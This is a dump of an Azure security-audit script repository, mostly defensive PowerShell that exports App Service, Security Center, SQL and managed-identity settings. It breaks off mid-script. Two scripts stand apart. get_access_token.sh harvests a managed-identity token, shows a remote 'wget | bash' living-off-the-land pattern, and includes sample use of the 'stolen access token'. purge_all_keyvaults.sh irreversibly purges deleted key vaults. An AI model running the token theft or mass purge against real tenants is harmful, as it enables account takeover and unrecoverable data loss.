├── AppService ├── Get-AzureAppServiceInfo.ps1 ├── Get-LocalGitConfiguration.ps1 ├── README.md └── get_access_token.sh ├── AzureSecurityCenter ├── Get-AzSecuritySolutions.ps1 ├── Get-AzureSecurityCenterInfo.ps1 └── README.md ├── AzureSqlServer ├── Get-AzureSqlServerVASettings.ps1 └── README.md ├── KeyVault └── purge_all_keyvaults.sh ├── README.md ├── RoleAssignment └── Get-VmManagedIdentityRoleAssignment.ps1 ├── Subscription ├── scripts │ └── New-TagOnSubscription.ps1 └── template │ ├── azuredeploy.outputs.json │ └── azuredeploy.tag.json └── VirtualMachine ├── CVE-2020-0601 ├── Cve20200601Verification.ps1 ├── README.md ├── Set-AzDscExtension.ps1 ├── Verify-Cve20200601.ps1 ├── azuredeploy.json ├── azuredeploy.parameters.json └── vm-dsc-template │ ├── README.md │ ├── azuredeploy.json │ └── azuredeploy.parameters.json ├── CVE-2020-0796 ├── Check-SmbCompressionMitigation.ps1 ├── README.md ├── SmbV3CompressionMitigation.ps1 └── windows10-template │ ├── azuredeploy.json │ └── azuredeploy.parameters.json ├── CustomScript ├── README.md ├── decode.ps1 ├── decode.sh └── template │ ├── README.md │ ├── azuredeploy.json │ ├── azuredeploy.parameters.json │ └── scripts │ ├── script.ps1 │ └── script.sh ├── Get-AzureVmInfo.ps1 ├── get_sami.sh └── stop_start_all_vms.sh /AppService/Get-AzureAppServiceInfo.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | This script is used to extract common information in Azure App Service resources that support security and compliance audit. 4 | .DESCRIPTION 5 | The script supports cross-supscription audit. Your account should have enough privilege (Read access) to retrieve Microsoft.Web resource provider. 6 | .NOTES 7 | This script is written with AzureRM PowerShell module that shall be deprecated soon. You are advised to upgrade to Azure PowerShell Az module. 8 | 9 | File Name : Get-AzureAppServiceInfo.ps1 10 | Version : 1.0.0.0 11 | Author : AzSec (https://azsec.azurewebsites.net/) 12 | Prerequisite : AzureRm 13 | .EXAMPLE 14 | Get-AzureAppServiceInfo.ps1 -FileName AzureAppAudit -Path C:\Audit 15 | #> 16 | 17 | Param( 18 | [Parameter(Mandatory = $true, 19 | HelpMessage = "File name of the audit report", 20 | Position = 0)] 21 | [ValidateNotNullOrEmpty()] 22 | [string] 23 | $FileName, 24 | 25 | [Parameter(Mandatory = $true, 26 | HelpMessage = "Location where the audit report is stored", 27 | Position = 1)] 28 | [ValidateNotNullOrEmpty()] 29 | [string] 30 | $Path 31 | ) 32 | 33 | $subscriptions = Get-AzureRmSubscription 34 | $date = Get-Date -UFormat "%Y_%m_%d_%H%M%S" 35 | 36 | class webAppCsv { 37 | [Object]${SubscriptionId} 38 | [Object]${SubscriptionName} 39 | [Object]${WebAppName} 40 | [Object]${ResourceGroupName} 41 | [Object]${Location} 42 | [Object]${State} 43 | [Object]${HttpsOnly} 44 | [Object]${AppServicePlan} 45 | [Object]${Tier} 46 | [Object]${Size} 47 | [Object]${minTlsVersion} 48 | [Object]${ftpsState} 49 | [Object]${netFrameworkVersion} 50 | [Object]${phpVersion} 51 | [Object]${pythonVersion} 52 | [Object]${nodeVersion} 53 | } 54 | 55 | $webAppCsvReport = @() 56 | 57 | foreach ($subscription in $subscriptions) 58 | { 59 | Set-AzureRmContext -SubscriptionId $subscription.id 60 | Write-Host -ForegroundColor Green "[!] Start checking subscription:" $subscription.Name 61 | $webApps = Get-AzureRmWebApp 62 | $appServicePlans = Get-AzureRmAppServicePlan 63 | foreach($webApp in $webApps){ 64 | #Get app service plan for each web app 65 | $appServicePlan = $appServicePlans | Where-Object {$_.Id -eq $webApp.ServerFarmId} 66 | 67 | # Get site config of each web app resource 68 | $config = Get-AzureRmResource -ResourceGroupName $webApp.ResourceGroup ` 69 | -ResourceType "Microsoft.Web/sites/config" ` 70 | -ResourceName "$($webApp.Name)/web" ` 71 | -apiVersion 2016-08-01 72 | 73 | $webAppObj = [webAppCsv]::new() 74 | $webAppObj.SubscriptionId = $subscription.Id 75 | $webAppObj.SubscriptionName = $subscription.Name 76 | $webAppObj.WebAppName = $webApp.Name 77 | $webAppObj.Location = $webApp.Location 78 | $webAppObj.State = $webApp.State 79 | 80 | Write-Host -ForegroundColor Yellow "[!] Found a web app named:" $webApp.Name 81 | $webAppObj.ResourceGroupName = $webApp.ResourceGroup 82 | 83 | # To verify HttpsOnly - Web app should always be using this option 84 | $webAppObj.HttpsOnly = $webApp.HttpsOnly 85 | 86 | # Not all tier supports backup and SSL 87 | $webAppObj.AppServicePlan = $appServicePlan.AppServicePlanName 88 | $webAppObj.Tier = $appServicePlan.Sku.Tier 89 | $webAppObj.Size = $appServicePlan.Sku.Size 90 | 91 | # To verify if Tls version is not old (1.0) 92 | $webAppObj.minTlsVersion = $config.Properties.minTlsVersion 93 | 94 | # To verify if ftpState allows ftps only - as security practice 95 | $webAppObj.ftpsState = $config.Properties.ftpsState 96 | 97 | # To verify web app uses latest/patched version 98 | $webAppObj.netFrameworkVersion = $config.Properties.netFrameworkVersion 99 | $webAppObj.phpVersion = $config.Properties.phpVersion 100 | $webAppObj.pythonVersion = $config.Properties.pythonVersion 101 | $webAppObj.nodeVersion = $config.Properties.nodeVersion 102 | $webAppCsvReport += $webAppObj 103 | } 104 | } 105 | 106 | $webAppCsvReport | Export-Csv -Path "$Path\$($FileName)_$($date).csv" -NoTypeInformation -Encoding UTF8 107 | -------------------------------------------------------------------------------- /AppService/Get-LocalGitConfiguration.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | This script is used to audit if your Web App is configured with Local Git. 4 | .DESCRIPTION 5 | This script is used to audit if your Web App is configured with Local Git. 6 | This script is used for IR team to respond to this vulnerability reported here https://www.wiz.io/blog/azure-app-service-source-code-leak 7 | .NOTES 8 | This script is written with AzureRM PowerShell module that shall be deprecated soon. You are advised to upgrade to Azure PowerShell Az module. 9 | 10 | File Name : Get-LocalGitConfiguration.ps1 11 | Version : 1.0.0.0 12 | Author : AzSec (https://azsec.azurewebsites.net/) 13 | 14 | .EXAMPLE 15 | .\Get-LocalGitConfiguration.ps1 -FileName webappaudit -Path C:\Workspace 16 | #> 17 | 18 | Param( 19 | [Parameter(Mandatory = $true, 20 | HelpMessage = "File name of the audit report", 21 | Position = 0)] 22 | [ValidateNotNullOrEmpty()] 23 | [string] 24 | $FileName, 25 | 26 | [Parameter(Mandatory = $true, 27 | HelpMessage = "Location where the audit report is stored", 28 | Position = 1)] 29 | [ValidateNotNullOrEmpty()] 30 | [string] 31 | $Path 32 | ) 33 | 34 | $subscriptions = Get-AzSubscription 35 | $date = Get-Date -UFormat "%Y_%m_%d_%H%M%S" 36 | 37 | class webAppCsv { 38 | [Object]${SubscriptionId} 39 | [Object]${SubscriptionName} 40 | [Object]${WebAppName} 41 | [Object]${ResourceGroupName} 42 | [Object]${Runtime} 43 | [Object]${ScmType} 44 | } 45 | 46 | $webAppCsvReport = @() 47 | 48 | foreach ($subscription in $subscriptions) { 49 | Write-Host -ForegroundColor Green "[-] Set context for subscription:" $subscription.name 50 | $context = Set-AzContext -Subscription $subscription.id 51 | if ($context) { 52 | Write-Host -ForegroundColor Green "[-] Start checking Web app in subscription:" $subscription.name 53 | $webApps = Get-AzWebApp 54 | foreach ($webApp in $webApps) { 55 | $config = Get-AzResource -ResourceGroupName $webApp.ResourceGroup ` 56 | -ResourceType "Microsoft.Web/sites/config" ` 57 | -ResourceName "$($webApp.Name)/web" ` 58 | -apiVersion 2021-02-01 59 | $webAppObj = [webAppCsv]::new() 60 | $webAppObj.SubscriptionId = $subscription.Id 61 | $webAppObj.SubscriptionName = $subscription.Name 62 | $webAppObj.WebAppName = $webApp.Name 63 | $webAppObj.ResourceGroupName = $webApp.ResourceGroup 64 | 65 | if ($($config.Properties.phpVersion)) { 66 | $webAppObj.Runtime = "php" + $config.Properties.phpVersion 67 | } 68 | elseif ($($config.Properties.pythonVersion)) { 69 | $webAppObj.Runtime = "python" + $config.Properties.pythonVersion 70 | } 71 | elseif ($($config.Properties.nodeVersion)) { 72 | $webAppObj.Runtime = "node" + $config.Properties.nodeVersion 73 | } 74 | elseif ($($config.Properties.javaVersion)) { 75 | $webAppObj.Runtime = "java" + $config.Properties.javaVersion 76 | } 77 | elseif ($($config.Properties.linuxFxVersion)) { 78 | $webAppObj.Runtime = $config.Properties.linuxFxVersion 79 | } 80 | elseif ($($config.Properties.windowsFxVersion)) { 81 | $webAppObj.Runtime = $config.Properties.windowsFxVersion 82 | } 83 | 84 | $webAppObj.ScmType = $config.Properties.ScmType 85 | if ($($config.Properties.ScmType) -eq "LocalGit"){ 86 | Write-Host -ForegroundColor Yellow "[!] Found a vulnerable web app:" 87 | Write-Host -ForegroundColor Red "`t[!] Subscription Name:" $subscription.Name 88 | Write-Host -ForegroundColor Red "`t[!] Resource Group Name:" $webApp.ResourceGroup 89 | Write-Host -ForegroundColor Red "`t[!] Web App Name:" $webApp.Name 90 | } 91 | $webAppCsvReport += $webAppObj 92 | } 93 | } 94 | else { 95 | throw "[!] Subscription id $($subscription.id) could not be found. Please try again!" 96 | } 97 | } 98 | 99 | $webAppCsvReport | Export-Csv -Path "$Path\$($FileName)_$($date).csv" -NoTypeInformation -Encoding UTF8 100 | Write-Host -ForegroundColor Green "[-] Your Audit report is: " $Path\$($FileName)_$($date).csv -------------------------------------------------------------------------------- /AppService/README.md: -------------------------------------------------------------------------------- 1 | # Audit Azure App Service 2 | 3 | This script can be used to extract common information that supports security and compliance audit on your Azure App Service. 4 | For more information read this article https://azsec.azurewebsites.net/2019/12/05/audit-azure-app-service-in-your-tenant/ 5 | 6 | Other audit works: 7 | - [Audit Azure Web App against NotLegit vulnerability](https://azsec.azurewebsites.net/2021/12/23/audit-azure-web-app-against-notlegit-vulnerability/) 8 | - [Acquire Access Token from Azure App Service (Linux) System-Assigned Managed Identity](https://azsec.azurewebsites.net/2021/12/30/acquire-access-token-from-azure-app-service-linux-system-assigned-managed-identity/) 9 | -------------------------------------------------------------------------------- /AppService/get_access_token.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Use this script to get access token of Azure App Service's system-assigned managed identity 3 | # You must have Website Contributor to access https://.scm.azurewebsites.net/webssh/host 4 | # This script can be hosted in a controled malicious host and execute directly from that as living off the land technique 5 | # wget -qO- https://.blob.core.windows.net/scripts/hello.sh | dos2unix | bash (LoTL) 6 | 7 | echo -e "\e[32m[+] Start scanning identity on the target App Service\e[0m" 8 | 9 | # The file that store environment variables including identity_endpoint and identity_header 10 | # You can use printenv to print those variables. However Microsoft may block the command in the future 11 | profile_path=/etc/profile 12 | 13 | if [ -f "${profile_path}" ]; then 14 | echo -e "\e[32m[+]${profile_path} exists\e[0m" 15 | else 16 | echo -e "\e[31m[!]${profile_path} doesn't exist\e[0m" 17 | exit 18 | fi 19 | 20 | # Grep and get target variables's value 21 | identity_endpoint_var=$(grep "IDENTITY_ENDPOINT" ${profile_path} ) 22 | identity_header_var=$(grep "IDENTITY_HEADER" ${profile_path} ) 23 | identity_endpoint=${identity_endpoint_var#*=} 24 | identity_header=${identity_header_var#*=} 25 | 26 | if [ -z "${identity_endpoint_var}" -o -z "${identity_header_var}" ]; then 27 | echo -e "\e[31m[!] Identity endpoint or identity header variables couldn't be found\e[0m" 28 | exit 29 | else 30 | echo -e "\e[32m[+] Found target variables!\e[0m" 31 | fi 32 | 33 | header="X-IDENTITY-HEADER:${identity_header}" 34 | 35 | # Remove double quotes on string 36 | header_=$(echo ${header} | tr -d '"') 37 | identity_endpoint_=$(echo ${identity_endpoint} | tr -d '"') 38 | 39 | # This script uses management.azure.com as the target resource endpoint. 40 | uri="${identity_endpoint_}?resource=https://management.azure.com&api-version=2019-08-01" 41 | 42 | # The managed Docker container to provide remote SSH on your web app Alpine Linux v3.13 43 | # The following wget is used to print the response which contains Access Token. 44 | # You need to re-format the access token as the output in the terminal prints access token in multiple lines 45 | wget -qO- --header ${header_} ${uri} 46 | 47 | echo -e "\e[32m[+] Copy the access token and use it separately on your workstation\e[0m" 48 | # Below is the sample CURL to get VM information. Change the endpoint e.g Key Vault if you would like to test 49 | # Reference: https://azsec.azurewebsites.net/2019/12/20/a-few-ways-to-acquire-azure-access-token-with-scripting-languages/ 50 | 51 | #### SAMPLE SCRIPT TO USE WITH STOLEN ACCESS TOKEN #### 52 | ## AUTH_HEADER="Authorization: Bearer $ACCESS_TOKEN" 53 | ## CONTENT_TYPE="Content-Type: application/json" 54 | ## SUBSCRIPTION_ID="67d6179d-a99d-4ccd-8c56-XXXXXXXXX" 55 | ## RG_NAME='off-rg' 56 | ## RM_ENDPOINT='https://management.azure.com' 57 | ## URI="$RM_ENDPOINT/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RG_NAME?api-version=2021-04-01" 58 | ## curl -X GET -H "$AUTH_HEADER" -H "$CONTENT_TYPE" $URI 59 | ###################################################### 60 | -------------------------------------------------------------------------------- /AzureSecurityCenter/Get-AzSecuritySolutions.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | This script is used to get all security solutions deployed in Microsoft Defender for Cloud. 4 | .DESCRIPTION 5 | This script is used to get all security solutions deployed in Microsoft Defender for Cloud. 6 | .NOTES 7 | This script is written with Azure PowerShell Az module. 8 | 9 | File Name : Get-AzSecuritySolutions.ps1 10 | Version : 1.0.0.0 11 | Author : AzSec (https://azsec.azurewebsites.net/) 12 | Prerequisite : Az.Accounts 13 | Az.Security 14 | .EXAMPLE 15 | Get-AzSecuritySolutions.ps1 -SubscriptionId "XXXXX-XXXXXXXX-XXXXXXX" 16 | #> 17 | Param( 18 | [Parameter(Mandatory = $true, 19 | HelpMessage = "The Id of the subscription you want to get all security solutions on", 20 | Position = 0)] 21 | [ValidateNotNullOrEmpty()] 22 | [string] 23 | $SubscriptionId 24 | ) 25 | 26 | $subscriptionContext = Set-AzContext -SubscriptionId $SubscriptionId 27 | if ($subscriptionContext) { 28 | Write-Host -ForegroundColor Green "[+] The subscription id $SubscriptionId is valid" 29 | } 30 | else { 31 | throw "[!] The subscription ID is not valid. Please try again!" 32 | } 33 | 34 | # This is an unofficial API. Use at your own risk. 35 | $apiVersion = "2015-06-01-preview" 36 | 37 | $accessToken = Get-AzAccessToken -ResourceTypeName "ResourceManager" 38 | $authHeader = @{ 39 | 'Content-Type' = 'application/json' 40 | 'Authorization' = 'Bearer ' + $accessToken.Token 41 | } 42 | 43 | $locations = (Get-AzSecurityLocation).Name 44 | if ($locations) { 45 | foreach ($location in $locations) { 46 | Write-Host -ForegroundColor Green "`t[+] Found location: $location" 47 | Write-Host -ForegroundColor Green "`t[+] Start retrieving security solutions" 48 | $uri = "https://management.azure.com/subscriptions/" + $SubscriptionId ` 49 | + "/providers/Microsoft.Security/locations/" ` 50 | + $location ` 51 | + "/securitySolutions" ` 52 | + "?api-version=" ` 53 | + $apiVersion 54 | $response = Invoke-RestMethod -Uri $uri ` 55 | -Method GET ` 56 | -Headers $authHeader 57 | if (-not ([string]::IsNullOrEmpty($response))) { 58 | Write-Host -ForegroundColor Green "`t[+] Found solution template: " $response.value.properties.template 59 | Write-Host -ForegroundColor Green "`t[+] Below is configuration detail: " 60 | $response.value.properties 61 | } 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /AzureSecurityCenter/Get-AzureSecurityCenterInfo.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | This script is used to extract current Azure Security Center settings in all subscriptions you have access to. 4 | .DESCRIPTION 5 | The script supports cross-supscription audit. Your account should have enough privilege (Read access) to retrieve Microsoft.Security resource provider. 6 | .NOTES 7 | This script is written with Azure PowerShell Az module. 8 | 9 | File Name : Get-AzureSecurityCenterInfo.ps1 10 | Version : 1.0.0.0 11 | Author : AzSec (https://azsec.azurewebsites.net/) 12 | Prerequisite : Az 13 | Reference : https://azsec.azurewebsites.net/2019/12/15/audit-azure-security-center-in-your-tenant/ 14 | .EXAMPLE 15 | Get-AzureSecurityCenterInfo.ps1 -FileName AscAudit -Path C:\Audit 16 | #> 17 | 18 | Param( 19 | [Parameter(Mandatory = $true, 20 | HelpMessage = "File name of the audit report", 21 | Position = 0)] 22 | [ValidateNotNullOrEmpty()] 23 | [string] 24 | $FileName, 25 | 26 | [Parameter(Mandatory = $true, 27 | HelpMessage = "Location where the audit report is stored", 28 | Position = 1)] 29 | [ValidateNotNullOrEmpty()] 30 | [string] 31 | $Path 32 | ) 33 | 34 | $subscriptions = Get-AzSubscription 35 | $date = Get-Date -UFormat "%Y_%m_%d_%H%M%S" 36 | 37 | class ascInfoCsv { 38 | [Object]$SubscriptionId 39 | [Object]$SubscriptionName 40 | [Object]$VirtualMachineTier 41 | [Object]$SqlServersTier 42 | [Object]$AppServicesTier 43 | [Object]$StorageAccountsTier 44 | [Object]$SqlServerVirtualMachinesTier 45 | [Object]$KubernetersServiceTier 46 | [Object]$ContainerRegistryTier 47 | [Object]$KeyVaults 48 | [Object]$AutoProvisioningEnabled 49 | [Object]$WorkspaceName 50 | [Object]$WorkspaceRg 51 | [Object]$ContactEmail 52 | [Object]$Phone 53 | [Object]$AlertNotificationEnabled 54 | [Object]$AlertToAdminsEnabled 55 | } 56 | 57 | $ascInfoCsvReport = @() 58 | 59 | foreach ($subscription in $subscriptions){ 60 | Set-AzContext -SubscriptionId $subscription.id 61 | Write-Host -ForegroundColor Green "[-] Start checking subscription:" $subscription.Name 62 | $workspaceSetting = Get-AzSecurityWorkspaceSetting 63 | 64 | $ascInfoObj = [ascInfoCsv]::new() 65 | $ascInfoObj.SubscriptionId = $subscription.Id 66 | $ascInfoObj.SubscriptionName = $subscription.Name 67 | # Get Information about Pricing Tier for each resource type 68 | Write-Host -ForegroundColor Yellow "[-] Start getting ASC Pricing tier Information in subscription $($subscription.Name)" 69 | $ascInfoObj.VirtualMachineTier = (Get-AzSecurityPricing -Name "VirtualMachines").PricingTier 70 | $ascInfoObj.SqlServersTier = (Get-AzSecurityPricing -Name "SqlServers").PricingTier 71 | $ascInfoObj.AppServicesTier = (Get-AzSecurityPricing -Name "AppServices").PricingTier 72 | $ascInfoObj.StorageAccountsTier = (Get-AzSecurityPricing -Name "StorageAccounts").PricingTier 73 | $ascInfoObj.SqlServerVirtualMachinesTier = (Get-AzSecurityPricing -Name "SqlServerVirtualMachines").PricingTier 74 | $ascInfoObj.KubernetersServiceTier = (Get-AzSecurityPricing -Name "KubernetesService").PricingTier 75 | $ascInfoObj.ContainerRegistryTier = (Get-AzSecurityPricing -Name "ContainerRegistry").PricingTier 76 | $ascInfoObj.KeyVaults = (Get-AzSecurityPricing -Name "KeyVaults").PricingTier 77 | Write-Host -ForegroundColor Yellow "[-] Finished getting ASC Pricing tier Information in subscription $($subscription.Name)" 78 | 79 | 80 | # Get Information about Auto Provisioning Setting 81 | Write-Host -ForegroundColor Yellow "[-] Start getting ASC Auto Provisioning Setting in subscription $($subscription.Name)" 82 | $ascInfoObj.AutoProvisioningEnabled = (Get-AzSecurityAutoProvisioningSetting).AutoProvision 83 | Write-Host -ForegroundColor Yellow "[-] Finished getting ASC Auto Provisioning Setting in subscription $($subscription.Name)" 84 | 85 | # Get Data Collection Workspace Setting 86 | Write-Host -ForegroundColor Yellow "[-] Start getting ASC Data Collection Workspace Setting in subscription $($subscription.Name)" 87 | $workspaceId = $workspaceSetting.WorkspaceId 88 | if (!$workspaceId) { 89 | $ascInfoObj.WorkspaceName = "Default ASC Workspace" 90 | $ascInfoObj.WorkspaceRg = "N/A" 91 | } 92 | elseif ($workspaceId) { 93 | $ascInfoObj.WorkspaceName = $workspaceId.Split('/')[8] 94 | $ascInfoObj.WorkspaceRg = $workspaceId.Split('/')[4] 95 | } 96 | Write-Host -ForegroundColor Yellow "[-] Finished getting ASC Data Collection Workspace Setting in subscription $($subscription.Name)" 97 | 98 | # Get Contact and Notification setting 99 | Write-Host -ForegroundColor Yellow "[-] Start getting ASC Contact and Notification Setting in subscription $($subscription.Name)" 100 | $ascInfoObj.ContactEmail = (Get-AzSecurityContact).Email | Out-String 101 | $ascInfoObj.Phone = (Get-AzSecurityContact).Phone | Out-String 102 | $ascInfoObj.AlertNotificationEnabled = (Get-AzSecurityContact).AlertNotifications 103 | $ascInfoObj.AlertToAdminsEnabled = (Get-AzSecurityContact).AlertsToAdmins 104 | Write-Host -ForegroundColor Yellow "[-] Finished getting ASC Contact and Notification Setting in subscription $($subscription.Name)" 105 | 106 | $ascInfoCsvReport += $ascInfoObj 107 | } 108 | 109 | $ascInfoCsvReport | Export-Csv -Path "$Path\$($FileName)_$($date).csv" -NoTypeInformation -Encoding UTF8 110 | Write-Host -ForegroundColor Green "[-] YOUR AZURE SECURITY CENTER REPORT IS IN: " $Path\$($FileName)_$($date).csv 111 | -------------------------------------------------------------------------------- /AzureSecurityCenter/README.md: -------------------------------------------------------------------------------- 1 | # Audit Azure Security Center 2 | 3 | This script can be used to get Azure Security Center settings. For more information read this article https://azsec.azurewebsites.net/2019/12/15/audit-azure-security-center-in-your-tenant/ 4 | 5 | | **Information** | **Why** | 6 | | --------------- | ------- | 7 | | Pricing Tier | As of this article there are 8 resource types that are covered by Azure Security Center. You need to see whether you want to take advantage of Standard tier for a specific resource type (e.g. Kubernete) | 8 | | Auto Provisioning | this setting tells you whether Microsoft Monitoring Agent is automatically installed on all virtual machines in your subscription.| 9 | | Data Collection Workspace | this tells you whether data collected from Azure Security Center is stored in default workspace (Microsoft back-end) or a user-defined workspace (the one you create and manage).| 10 | | Contact and Notification | information about email and phone for notification, as well setting of Send email notification for high severity alerts and Also send email notification to subscription owners | 11 | 12 | # Reference 13 | Below are some other references related to Azure Security Center that you may need to check out: 14 | 15 | - [Connect Azure Security Center to Azure Sentinel programatically](http://azsec.azurewebsites.net/2019/12/14/connect-azure-security-center-to-azure-sentinel-programatically/) 16 | - [Working with Azure Security Center Alert from Azure Sentinel](http://azsec.azurewebsites.net/2019/12/10/working-with-azure-security-center-alert-from-azure-sentinel/) 17 | - [Simulate alerts to be caught by ASC](http://azsec.azurewebsites.net/2019/12/02/simulate-alerts-to-be-caught-by-asc/) 18 | - [Work with Azure Security Center alert in Log Analytics](http://azsec.azurewebsites.net/2019/11/29/work-with-azure-security-center-alert-in-log-analytics/) 19 | - [A bit about ASC Alert in Log Analytics workspace](https://azsec.azurewebsites.net/2019/11/24/a-bit-about-asc-alert-in-log-analytics-workspace/) 20 | - [What is securitydata resource group in Microsoft Azure?](https://azsec.azurewebsites.net/2017/04/14/what-is-securitydata-resource-group-in-microsoft-azure/) 21 | -------------------------------------------------------------------------------- /AzureSqlServer/Get-AzureSqlServerVASettings.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | This script is used to retrieve vulnerability assessment setting on Azure SQL Server. 4 | .DESCRIPTION 5 | This script is used to retrieve vulnerability assessment setting on Azure SQL Server. 6 | SQL vulnerability assessment is a service that provides visibility into your security state. 7 | SQL vulnerability assessment requires Microsoft Defender for SQL plan to be able to run scans. 8 | .NOTES 9 | This script is written with Azure Powershell Az module. 10 | 11 | File Name : Get-AzureSqlServerVASettings.ps1 12 | Version : 1.0.0.0 13 | Author : AzSec (https://azsec.azurewebsites.net) 14 | Prerequisite : Az 15 | .EXAMPLE 16 | Get-AzureSqlServerVulnerabilityAssessmentSettings.ps1 -FileName AzSqlVulAssessment 17 | -Path C:\Audit 18 | #> 19 | 20 | Param( 21 | [Parameter(Mandatory = $true, 22 | HelpMessage = "File name of the audit report", 23 | Position = 0)] 24 | [ValidateNotNullOrEmpty()] 25 | [string] 26 | $FileName, 27 | 28 | [Parameter(Mandatory = $true, 29 | HelpMessage = "Location where the audit report is stored", 30 | Position = 1)] 31 | [ValidateNotNullOrEmpty()] 32 | [string] 33 | $Path 34 | ) 35 | 36 | $subscriptions = Get-AzSubscription 37 | $date = Get-Date -UFormat "%Y_%m_%d_%H%M%S" 38 | 39 | class azsqlsrvvaCsv { 40 | [Object]$SubscriptionId 41 | [Object]$SubscriptionName 42 | [Object]$ResourceGroupName 43 | [Object]$ServerName 44 | [Object]$VaConfigured 45 | [Object]$StorageAccountName 46 | [Object]$StorageAccountContainer 47 | [Object]$RecurringScansInterval 48 | [Object]$EmailAdminEnabled 49 | [Object]$Emails 50 | } 51 | 52 | $azsqlsrvvaCsvReport = @() 53 | 54 | foreach ($subscription in $subscriptions) { 55 | Set-AzContext -SubscriptionId $($subscription.Id) 56 | Write-Host -ForegroundColor Green "[-] Start checking subscription:" $($subscription.Id) 57 | $sqlServers = Get-AzSqlServer 58 | foreach ($sqlServer in $sqlServers) { 59 | $azsqlsrvvaObj = [azsqlsrvvaCsv]::new() 60 | $azsqlsrvvaObj.SubscriptionId = $subscription.Id 61 | $azsqlsrvvaObj.SubscriptionName = $subscription.Name 62 | $setting = Get-AzSqlServerVulnerabilityAssessmentSetting -ServerName $sqlServer.ServerName ` 63 | -ResourceGroupName $sqlServer.ResourceGroupName 64 | if (!$($setting.StorageAccountName)) { 65 | $azsqlsrvvaObj.VaConfigured = "No" 66 | } 67 | else { 68 | $azsqlsrvvaObj.VaConfigured = "Yes" 69 | } 70 | $azsqlsrvvaObj.ResourceGroupName = $setting.ServerName 71 | $azsqlsrvvaObj.ServerName = $setting.ResourceGroupName 72 | $azsqlsrvvaObj.StorageAccountName = $setting.StorageAccountName 73 | $azsqlsrvvaObj.StorageAccountContainer = $setting.ScanResultsContainerName 74 | $azsqlsrvvaObj.RecurringScansInterval = $setting.RecurringScansInterval 75 | $azsqlsrvvaObj.EmailAdminEnabled = $setting.EmailAdmins 76 | $azsqlsrvvaObj.Emails = $setting.NotificationEmail | Out-String 77 | 78 | $azsqlsrvvaCsvReport += $azsqlsrvvaObj 79 | } 80 | } 81 | 82 | $azsqlsrvvaCsvReport | Export-Csv -Path "$Path\$($FileName)_$($date).csv" -NoTypeInformation -Encoding UTF8 83 | Write-Host -ForegroundColor Green "[-] YOUR REPORT IS IN: " $Path\$($FileName)_$($date).csv -------------------------------------------------------------------------------- /AzureSqlServer/README.md: -------------------------------------------------------------------------------- 1 | # Collection of scripts to support audit Azure SQL Server. 2 | -------------------------------------------------------------------------------- /KeyVault/purge_all_keyvaults.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # This script can be used to purge all deleted key vaults. 4 | # Use this script when you are lazy at checking deleted vaults and purging manually. 5 | # Take a precaution when running this script in your production environment. 6 | # From a cybersecurity context, an adversary may try to destruct your cloud environment by purging all key vault he deleted. 7 | # The purge would make the recovery of security incident become impossible. 8 | # To learn more about Azure Key Vault soft-delete and purge protection https://docs.microsoft.com/en-us/azure/key-vault/general/soft-delete-overview 9 | # When purge protection is enabled, key vault can only be purged after preset period. 10 | 11 | # Get all subscriptions under a logged in context 12 | subscription_ids=$(az account list --all --query "[].id" -o tsv) 13 | for subscription_id in ${subscription_ids}; do 14 | echo -e "\e[32m[+] Found subscription Id ${subscription_id}\e[0m" 15 | echo -e " \e[35m[+] Set Subscription context for subscription Id: ${subscription_id}\e[0m" 16 | 17 | # Set subscription context 18 | az account set -s ${subscription_id} 19 | if [ $? -eq 0 ]; then 20 | echo -e " \e[32m[+] Set subscription context succesfully\e[0m" 21 | 22 | # Get deleted vaults from the given subscription context 23 | # This action requires Microsoft.KeyVault/deletedVaults/read 24 | vault_names=$(az keyvault list-deleted --query "[].name" -o tsv) 25 | if [[ ${vault_names[@]} ]]; then 26 | for vault_name in ${vault_names}; do 27 | echo -e " \e[32m[+] Found deleted vault named ${vault_name}\e[0m" 28 | echo -e " \e[35m[+] Start purging ${vault_name}\e[0m" 29 | 30 | # Purge deleted vault 31 | # This action requires Microsoft.KeyVault/locations/deletedVaults/purge/action 32 | az keyvault purge --name ${vault_name} 33 | if [ $? -eq 0 ]; then 34 | echo -e " \e[32m[+] Successfully purged key vault ${vault_name}\e[0m" 35 | else 36 | echo -e " \e[31m[!] Failed to purge key vault ${vault_name}\e[0m" 37 | fi 38 | done 39 | else 40 | echo " [-] Could not find any deleted vaults" 41 | fi 42 | else 43 | echo -e " \e[31m[!] Can't set subscription context\e[0m" 44 | exit 1 45 | fi 46 | done -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # azure-audit 2 | Collection of scripts to extract Azure resource information to support security compliance audit. 3 | -------------------------------------------------------------------------------- /RoleAssignment/Get-VmManagedIdentityRoleAssignment.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | This script is used to audit System-assigned Managed Identity (SAMI) and User-Assigned Managed Identity (UAMI) attached on VMs and VMss. 4 | .DESCRIPTION 5 | Use this script to quickly check your VM(s) and VMSS(s) to see if SAMI or/and UAMI are attached and their role assignments. 6 | The audit can help you identify if unnecessary use of SAMI and UAMI that may put themselves at risk 7 | .NOTES 8 | This script is written with Azure Powershell Az module. 9 | 10 | File Name : Get-VmManagedIdentityRoleAssignment.ps1 11 | Version : 1.0.0.0 12 | Author : AzSec (https://azsec.azurewebsites.net) 13 | Prerequisite : Az 14 | .EXAMPLE 15 | Get-VmManagedIdentityRoleAssignment.ps1 -Subscription XXXXXX-XXXXX-XXXXXX-XXXXX 16 | #> 17 | 18 | Param( 19 | [Parameter(Mandatory = $true, 20 | HelpMessage = "The Id of the subscription you want to audit", 21 | Position = 0)] 22 | [ValidateNotNullOrEmpty()] 23 | [string] 24 | $SubscriptionId 25 | ) 26 | 27 | $subscriptionContext = Set-AzContext -SubscriptionId $SubscriptionId 28 | Write-Host -ForegroundColor Green "[+] Setting subscription context" 29 | if ($subscriptionContext) { 30 | Write-Host -ForegroundColor Green "[+] The subscription id $SubscriptionId is valid" 31 | } 32 | else { 33 | throw "[!] The subscription ID is not valid. Please try again!" 34 | } 35 | 36 | $virtualMachineScaleSets = 